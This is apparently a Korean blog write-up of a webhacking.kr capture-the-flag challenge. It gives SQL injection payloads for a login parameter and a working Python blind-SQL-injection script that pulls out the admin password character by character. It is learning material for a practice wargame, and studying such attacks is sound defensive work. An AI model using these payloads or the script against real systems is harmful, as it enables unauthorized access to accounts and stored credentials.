1. 문제풀이
- 이번문제도 뭔가 admin계정으로 접속하면 풀릴것 같이 보인다.
- 일단 처음은 위 사진처럼 guest계정으로 접속해보겠다.
- admin 계정으로 접속을 시도해보겠다.
- 위와같이 실패했다고 나온다.
- id, pw를 admin으로 입력하고 no에0을 입력해 로그인하면 아무런 반응이 없다.
- no에 0||no=2를 입력하고 로그인하자 다음과같이 admin계정의 비밀번호를 입력하라고 나온다.
- 이젠 admin계정의 비밀번호를 BlindSQLi를 통해서 알아내면 된다.
- 먼저 비밀번호의 길이를 알아내기 위해서 no에 다음과 같은 문구를 삽입해 길이를 알아낸다.
- 1||no=2&&length(pw)=1
- 위와 같은 비밀번호를 입력하라는 창이 나올때까지 1부터 증가하면서 대입해본다.
- 그결과 10을 삽입했을때 비밀번호를 입력하라고 나온다. 따라서 비밀번호의 길이는 10이라는것을 알수 있다.
- 그 다음 실제 비밀번호를 알아내기 위해서 다음과 같은 파이썬 코드를 작성해 프로그램으로 돌려보았다.
import requests
url = 'https://webhacking.kr/challenge/web-29/' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력
db_len = 10
def find_db_str(db_len):
db_str = ""
for len in range(1,db_len+1):
for ascii in range(33,127):
k = hex(ascii).split("0x")[1]
value = "?no=0||substr(pw,{},1)=0x{}&id=guest&pw=guest".format(len,k)
# no에 Payload 코드 삽입
response = requests.get(url + value, cookies=cookies) # GET을 통해 전달
print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
print(value) # 전달되는 Payload 코드 확인
if "admin password" in response.text:
db_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
break
return db_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
print("db : \n"+find_db_str(db_len))
- 프로그램을 돌리면 위와같이 비밀번호가 lck_admin이라고 출력된다.
- 하지만 실제 비밀번호는 luck_admin인데 2번째 글자인 u가 출력되지 않은 이유는 guest계정의 비밀번호인 guest의 2번째 글자가 u로 똑같기 때문이다.
- 이제 비밀번호를 입력하면 문제가 풀리게된다.
'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글
WebHacking.kr(#22) (0) | 2023.04.18 |
---|---|
WebHacking.kr(#47) (0) | 2023.04.13 |
WebHacking.kr(#25) (0) | 2023.04.13 |
Lord of SQLi(#12 darkknight) (0) | 2023.01.05 |
Lord of SQLi(#11 golem) (0) | 2023.01.04 |